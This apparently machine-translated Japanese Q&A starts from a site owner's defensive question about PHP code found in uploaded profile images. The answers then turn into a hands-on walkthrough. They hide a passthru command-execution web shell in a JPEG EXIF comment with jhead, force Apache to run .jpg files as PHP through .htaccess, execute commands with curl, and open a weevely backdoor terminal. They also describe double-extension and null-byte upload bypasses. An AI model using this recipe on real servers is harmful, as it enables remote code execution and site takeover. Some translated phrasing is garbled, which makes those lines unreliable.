私のウェブサイトでは、ユーザーは自分のプロフィール写真をアップロードできます。一部の画像を分析した後、アップロードスクリプトと同様に、悪意のあるPHP
コードが含まれている画像を見つけました。例として、PHP
の1行のコードを見つけました。
<?php echo $_GET['a']; ?>
したがって、このコードを使用して、この画像を.php
などのpicture.php
ファイルとしてアップロードできる場合、url/pictur.php?a=[anything]
などの方法でこのスクリプトを実行できます。ただし、すべての画像拡張子が自動的に.php
に変更されるため、画像を.jpg
拡張子としてアップロードすることはできません。さらに、php
関数include
による画像は含めません。むしろ、私は常にhtml img
タグで画像を追加します。
悪意のあるユーザーを停止するためのベストプラクティスは、画像のサイズを変更することです。悪意のある人がこの種の画像に危害を加えることは可能ですか?
サーバー上でローカルにコードを実行することは決してできませんが、悪意のあるJavaScriptコードをアップロードできる可能性があります。その後、他の攻撃(XSSなど)でコードを参照する必要がある場合、攻撃者はサイトを指すことができます。 PHPまたは他のサーバー側のコードがこのイメージから消費される可能性があるまれな状況もあるかもしれません。
サーバーの設定に誤りがあるか、攻撃者が何らかのinclude()
of eval()
の実行を希望する場所に攻撃画像をアップロードする可能性があります。
例: この例を参照 (2008年からですが、一部の攻撃は依然としてアウトダッテッドWebサーバーで機能する可能性があります-興味深い概念については、残りのスレッドを読むことをお勧めします):
サーバーが拡張子を.JPG/.GIFに変更する(またはそれらの拡張子のみを許可する)場合は、よりクリエイティブにする必要があります。 Apacheでは、ファイルにsomething.php.jpgという名前を付けることができますが、Apacheは引き続きそれをPHPとして扱います。
試すことができる別のオプションは、.JPG拡張子の前にNULLバイトを埋め込むアップロード要求を(ツールまたはHTTP要求エディターを使用して)送信することです。 ASPスクリプトはこれに対して脆弱になる傾向があります-スクリプトはファイル名全体を認識しますが、基礎となるファイル操作はNULLバイトの後にファイルの名前を切り捨てます。したがって、something.asp% 00.jpgはsomething.aspになります。
別の PHPコードのウォークスルー 。
EXIF JPEGメタデータフィールドを操作するために、コマンドラインjhead
ツールを使用します。ニーズに合わせて選択できる同様の機能を備えたツールは他にもたくさんあります。
これでメタデータ操作ツールができたので、ランダムなJPEG画像を取得してメタデータを読み取ることができます。
root@testbed:~# jhead image.jpg
File name : image.jpg
File size : 208103 bytes
File date : 2011:09:07 21:20:10
Date/Time : 2007:04:24 14:11:55
Resolution : 1197 x 478
======= IPTC data: =======
Record vers. : 2
ファイルはかなりきれいなので、メタデータのコメントフィールドにいくつかのPHPコードを非表示にして、少し汚いものにします。コメントフィールドを編集するには、-ce
フラグを使用しますjhead
ツールの.
root@testbed:~# jhead -ce image.jpg
Modified: image.jpg
root@testbed:~# jhead image.jpg
File name : image.jpg
File size : 182007 bytes
File date : 2011:09:07 21:20:10
Resolution : 1197 x 478
Comment : <?php passthru($_POST['cmd']); __halt_compiler();
passthru
関数を使用して、ターゲットマシンに対して外部コマンドを実行できます。コマンドは、POSTメソッドを「cmd」という名前で使用してターゲットに渡されます。ここでは、GETメソッドを使用してコマンドをターゲットマシンに渡すことができると考える人もいます。これは本当です。ターゲットに送信するコマンドはURLの一部であるため、httpdアクセスログで簡単に認識できますが、これも使用できます。
halt_compiler
コマンドは、コンパイラがイメージのバイナリデータを解析するのを停止します。メタデータ情報は画像データの前に保存されるため、次のバイナリデータで<?
が発生すると実行が中断されるため、コードの後でコンパイラを停止する必要があります。 PHPセクションを閉じる必要がないのはそのためです。
画像ファイルでPHPコードを非表示にしたので、ターゲットWebサーバーに.jpgファイルをPHPファイルとして処理するように強制します。これを実現するには、.htaccess
ファイルでAddType
ディレクティブを使用します。AddType
ディレクティブは、指定されたファイル名拡張子を指定されたコンテンツタイプにマップします。AddType
ディレクティブを使用するには、ターゲットApacheでmod_mime
が有効になっている必要がありますそして、ファイルを置くディレクトリで少なくともFileInfo
のオーバーライドを許可します。
悪意のあるjpgファイルをメディアパスにアップロードするので、.phpファイルを.phpファイルにマッピングするAddType
ディレクティブを使用して、関連するディレクトリに.htaccess
を配置する必要があります。
root@webtestbed:/var/www/media# echo “AddType application/x-httpd-php .jpg” >> .htaccess
OK、すべてが設定されたので、ターゲットマシンでコマンドを実行する最初の試みを開始しましょう。 POSTメソッドを使用してコマンドを送信するには、curl
ツールを使用します。
root@testbed:~# curl -d cmd=id http://192.168.2.11/media/image.jpg
.........JFIF..........................................................uid=33(www-data) gid=33(www-data) groups=33(www-data)
ビンゴ!コマンドはターゲットマシンで正常に実行されました。出力が始まる前のゴミは、画像のヘッダーのデータが原因です。
ここで言及する必要があるのは、一部のPHP構成では、無効な関数にpassthru
が含まれている場合があります。その場合、system
、exec
、Shell_exec
、等.
テクニックが機能していることを確認したので、同じ画像のコメントフィールドにPHPバックドアシェル全体を非表示にします。そのために、weevely PHPシェルですが、ペンテストの武器にある別のシェルを選択できます。
最初にweevelyスクリプトを使用してシェルを作成し、生成されたPHPコードをメタデータコメントフィールドにコピーします。
root@testbed:weevely# ./weevely.py -g -o back.php -p admin
Weevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/
+ Backdoor file 'back.php' created with password 'admin'.
最後に、ターゲットサーバーでターミナルを確立するために、作成手順で使用したイメージURLとパスワードを指定するターミナルフラグを使用してweevelyを呼び出します。
root@testbed:weevely# ./weevely.py -t -p admin -u http://192.168.2.11/media/image.jpg
Weevely 0.3 – Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/
+ Using method ‘system()’.
+ Retrieving terminal basic environment variables .
[www-data@webtestbed /var/www/media] ls
image.jpg
[www-data@webtestbed /var/www/media] id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[www-data@webtestbed /var/www/media]
やられた!ターゲットマシンにアクセスするためのApacheユーザー(www-data)権限があります。